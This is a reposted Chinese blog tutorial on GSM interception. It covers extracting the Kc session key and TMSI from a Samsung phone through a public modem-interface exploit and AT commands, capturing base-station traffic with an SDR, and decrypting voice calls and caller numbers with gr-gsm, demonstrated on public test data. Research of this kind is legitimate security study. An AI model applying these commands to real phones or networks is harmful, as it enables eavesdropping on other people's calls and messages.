GSM Hacking Part② :使用SDR捕获GSM网络数据并解密

本文涉及的产品
简介:

0×00

在文章第一部分 GSM Hacking Part① :使用SDR扫描嗅探GSM网络 搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。

0×01

1.1 获取三星漏洞利用代码:

这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试(此方法仅适用于:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。

AT 即Attention,AT指令用于终端设备与PC应用之间的连接与通信。

1
wget https: //raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c

1.2 源码编译libusb:

1
2
3
4
5
6
7
wget http: //jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz
tar zxvf libusb-0.1.12.tar.gz
cd libusb-0.1.12/
./configure
make
make install
sudo ldconfig

1.3 gcc编译PoC:

1
gcc usbswitcher.c -o switcher -lusb

0×02 获取Kc、TMSI参数

插入三星设备,可以在/dev/ttyACM*中找到它:

2.1 switcher

1
busybox microcom /dev/ttyACM0

1
./switcher

这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom:

2.2 minicom

1
minicom -D /dev/ttyACM0

通过AT指令获取Kc\TMSI可参阅:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security

2.3 Kc

GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值:

1
AT+CRSM=176.28448,0,0,9

演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E9698033

0×03 信号捕获

3.1 确定当前手机接入基站

手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入

1
*#*#4636#*#* 

上面这个是安卓通用的如果你的手机没反应,还可以尝试

1
2
3
Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#*拨号
HTC (Android) : *#*#7262626#*#*

进去以后能找到基站的MCC、MNC、ARFCN这些参数。

MCC 移动国家码

MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02

ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。

手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。

手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。

手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。

在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包:

3.2 确定当前基站的下行频率:

打开http://www.cellmapper.net/arfcn.php

结果:

1
2
3
4
5
6
7
8
Network Type    GSM (TDMA)
E/U/ARFCN    12
Band Name    GSM-900
Uplink Frequency 上行频率 手机到基站
(phone to  base  station)    892.4 MHz
Downlink Frequency  下行频率 基站到手机
( base  station to phone)    937.4 MHz
Band Number    900

获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000

3.3捕获下行数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
grgsm_capture.py -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc
 
Usage: grgsm_capture.py [options]
 
RTL-SDR capturing app of gr-gsm.
 
Options:
   -h, --help            show  this  help message and exit  //打印帮助信息
   -f FC, --fc=FC        Set frequency [ default =none]  //设定捕获数据的中心频率
   -a ARFCN, --arfcn=ARFCN   //设定ARFCN
                         Set ARFCN instead of frequency. In some cases you may
                         have to provide the GSM band also
   -g GAIN, --gain=GAIN  Set gain [ default =30]  //设定gain
   -s SAMP_RATE, --samp-rate=SAMP_RATE   //设定采样率 默认2M
                         Set samp_rate [ default =2M]
   -p PPM, --ppm=PPM     Set ppm [ default =0]
   -b BURST_FILE, --burst-file=BURST_FILE
                         File  where  the captured bursts are saved
   -c CFILE, --cfile=CFILE
                         File  where  the captured data are saved
   --band=BAND           Specify the GSM band  for  the frequency. Available
                         bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                         GSM450, GSM480, GSM850. If no band  is  specified, it
                         will be determined automatically, defaulting to 0.
   --args=ARGS           Set device arguments [ default =]
   -v, --verbose         If  set , the captured bursts are printed to stdout
   -T REC_LENGTH, --rec-length=REC_LENGTH
                         Set length of recording  in  seconds [ default =none]
1
grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20
1
2
3
4
5
-g 指定gain参数 40
-a ARFCN 12
-s 设定采样率1M
-c 将捕获到的数据存入sms.cfile
-T 设定时间

命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。

1
ls -lah sms.cfile

捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。

0×04 信号解码

捕获完数据以后再次获取KC TMSI值:

1
minicom -D /dev/ttyACM0

4.1 KC:

1
AT+CRSM=176.28448,0,0,9

演示视频中输出结果为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803

4.2 TMSI:

1
AT+CRSM=176.28542,0,0,11

演示视频中输出结果为:9062FF7632F8665610FF00 取其前4bytes,也就是前8字节,即:9062FF76

1
ls -lah voice.cfile

一起来看看解码脚本的用法:

decode usage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
grgsm_decode -h
Usage: grgsm_decode: [options]
 
Options:
   -h, --help            show  this  help message and exit  //打印帮助信息
   -m CHAN_MODE, --mode=CHAN_MODE
                         Channel mode. Valid options are  'BCCH'  (Non-combined
                         C0),  'BCCH_SDCCH4' (Combined C0),  'SDCCH8'  (Stand-alone
                         control channel) and  'TCHF'  (Traffic Channel, Full
                         rate)
   -t TIMESLOT, --timeslot=TIMESLOT
                         Timeslot to decode [ default =0]
   -u SUBSLOT, --subslot=SUBSLOT
                         Subslot to decode. Use  in  combination with channel
                         type BCCH_SDCCH4 and SDCCH8
   -b BURST_FILE, --burst-file=BURST_FILE
                         Input file (bursts)
   -c CFILE, --cfile=CFILE
                         Input file (cfile)
   -v, --verbose         If  set , the decoded messages (with frame number and
                         count) are printed to stdout
   -p, --print-bursts    If  set , the raw bursts (with frame number and count)
                         are printed to stdout
 
   Cfile Options:
     Options  for  decoding cfile input.
 
     -f FC, --fc=FC      Frequency of cfile capture   //指定需解码文件的中心频率 (从哪个频率捕获就填多少)
     -a ARFCN, --arfcn=ARFCN   //指定ARFCN 同上,从哪个ARFCN捕获就填多少
                         Set ARFCN instead of frequency. In some cases you may
                         have to provide the GSM band also
     --band=BAND         Specify the GSM band  for  the frequency. Available
                         bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                         GSM450, GSM480, GSM850.If no band  is  specified, it
                         will be determined automatically, defaulting to 0.
     -s SAMP_RATE, --samp-rate=SAMP_RATE    //指定采样率,默认1M
                         Sample rate of cfile capture [ default =1M]
     --ppm=PPM           Set frequency offset correction [ default =0]
 
   Decryption Options:
     Options  for  setting the A5 decryption parameters.
 
     -e A5, --a5=A5      A5 version [ default =1]. A5 versions 1 - 3 supported  //设定A5加密算法版本
     -k KC, --kc=KC      A5 session key Kc. Valid formats are  //设定KC值
                         '0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF'  and
                         '1234567890ABCDEF'
 
   TCH Options:
     Options  for  setting Traffic channel decoding parameters.
 
     -d SPEECH_CODEC, --speech-codec=SPEECH_CODEC
                         TCH-F speech codec [ default =FR]. Valid options are FR,
                         EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7,
                         AMR5.9, AMR5.15, AMR4.75
     -o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE  //将解密后的文件另存为
                         TCH/F speech output file [ default =/tmp/speech.au.gsm].

在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data

测试数据已知参数如下:

1
2
3
ARFCN:725
采样率:$((100000000/174))
Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
1
2
wget https: //github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile
mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile
1
sudo wireshark -i lo
1
grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile

在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1

使用我们刚刚知道的参数再次解密:

1
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1

在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型:

A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。

A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。

确定了加密算法,再次执行解密脚本:

1
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02

在cc Setup这一项,可以看到Calling party BCD number – Calling party number(被叫手机显示的主叫号码):

Assignment Command一栏信息如下:

在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听:

1
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm

进入/tmp缓存目录中,已经可以发现一个音频文件了:

安装VLC播放器:

1
2
sudo apt- get  install vlc-nox
vlc  /tmp/test.au.gsm

耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1

0×05 refer

GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9
Voice Decryption 语音解密
SMS Decryption 短信解密
SMS text messeges and voice calls sniffing
https://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf

原文地址:http://www.freebuf.com/articles/wireless/111577.html

本文转自 K1two2 博客园博客,原文链接:

http://www.cnblogs.com/k1two2/p/5804566.html

  ,如需转载请自行联系原作者

相关实践学习
基于函数计算一键部署掌上游戏机
本场景介绍如何使用阿里云计算服务命令快速搭建一个掌上游戏机。
建立 Serverless 思维
本课程包括: Serverless 应用引擎的概念, 为开发者带来的实际价值, 以及让您了解常见的 Serverless 架构模式
相关文章
|
22天前
|
安全 网络安全 量子技术
网络安全与信息安全:保护数据的关键策略
【5月更文挑战第30天】 在数字化时代,网络安全和信息安全已成为维护个人隐私、企业资产和国家安全不可或缺的一环。本文将深入探讨网络安全漏洞的概念、加密技术的最新进展以及提升安全意识的重要性。通过分析当前的网络威胁和挑战,我们展示了如何利用多层次的安全措施来防御潜在的攻击。文章不仅提供了对现有安全技术的深刻见解,还强调了教育和个人责任在构建坚固防线中的作用。
22 3
|
22天前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:保护你的数据,保护你的未来
【5月更文挑战第30天】在数字化的世界中,网络安全和信息安全是每个人都需要关注的问题。本文将深入探讨网络安全漏洞、加密技术以及安全意识等方面的问题,帮助读者了解如何保护自己的数据,防止网络攻击。
|
21天前
|
网络协议 算法 C语言
C语言在网络编程中如何实现数据完整性
C语言在网络编程中如何实现数据完整性
23 0
|
23天前
|
SQL 安全 网络安全
网络安全与信息安全:保护数据,从了解漏洞到强化意识
【5月更文挑战第29天】 在数字化时代,数据成为了新的货币,而网络安全和信息安全则是保护这些“货币”的保险箱。本文深入探讨了网络安全的核心议题,包括常见的安全漏洞、加密技术的基本原理以及提升个人和企业的安全意识。通过分析网络威胁的实际案例,我们强调了预防措施的重要性,并分享了如何通过教育和技术手段来构建一个更加安全的数字环境。
|
2天前
|
机器学习/深度学习 算法 数据可视化
m基于PSO-LSTM粒子群优化长短记忆网络的电力负荷数据预测算法matlab仿真
在MATLAB 2022a中,应用PSO优化的LSTM模型提升了电力负荷预测效果。优化前预测波动大,优化后预测更稳定。PSO借鉴群体智能,寻找LSTM超参数(如学习率、隐藏层大小)的最优组合,以最小化误差。LSTM通过门控机制处理序列数据。代码显示了模型训练、预测及误差可视化过程。经过优化,模型性能得到改善。
16 6
|
5天前
|
数据采集 存储 数据挖掘
Python网络爬虫实战:抓取并分析网页数据
使用Python的`requests`和`BeautifulSoup`,本文演示了一个简单的网络爬虫,抓取天气网站数据并进行分析。步骤包括发送HTTP请求获取HTML,解析HTML提取温度和湿度信息,以及计算平均温度。注意事项涉及遵守robots.txt、控制请求频率及处理动态内容。此基础爬虫展示了数据自动收集和初步分析的基础流程。【6月更文挑战第14天】
72 9
|
4天前
|
存储 安全 网络安全
云计算与网络安全:保护数据的关键前沿
在信息化社会中,云计算技术的快速发展为企业和个人提供了前所未有的便利。然而,随着云服务的普及,网络安全和信息安全问题也日益凸显。本文探讨了云计算中的网络安全挑战,并介绍了一些关键技术和策略,以保障云环境中的数据安全。
16 4
|
12天前
|
数据采集 DataWorks 安全
DataWorks产品使用合集之如何拉取经典网络的数据
DataWorks作为一站式的数据开发与治理平台,提供了从数据采集、清洗、开发、调度、服务化、质量监控到安全管理的全套解决方案,帮助企业构建高效、规范、安全的大数据处理体系。以下是对DataWorks产品使用合集的概述,涵盖数据处理的各个环节。
|
9天前
|
存储 XML 数据处理
Python网络实践:去哪儿旅游数据爬取指南
Python网络实践:去哪儿旅游数据爬取指南
|
12天前
|
分布式计算 NoSQL 大数据
MaxCompute产品使用合集之自定义udf连接云上vpc网络的redis获取数据的步骤是什么
MaxCompute作为一款全面的大数据处理平台,广泛应用于各类大数据分析、数据挖掘、BI及机器学习场景。掌握其核心功能、熟练操作流程、遵循最佳实践,可以帮助用户高效、安全地管理和利用海量数据。以下是一个关于MaxCompute产品使用的合集,涵盖了其核心功能、应用场景、操作流程以及最佳实践等内容。

热门文章

最新文章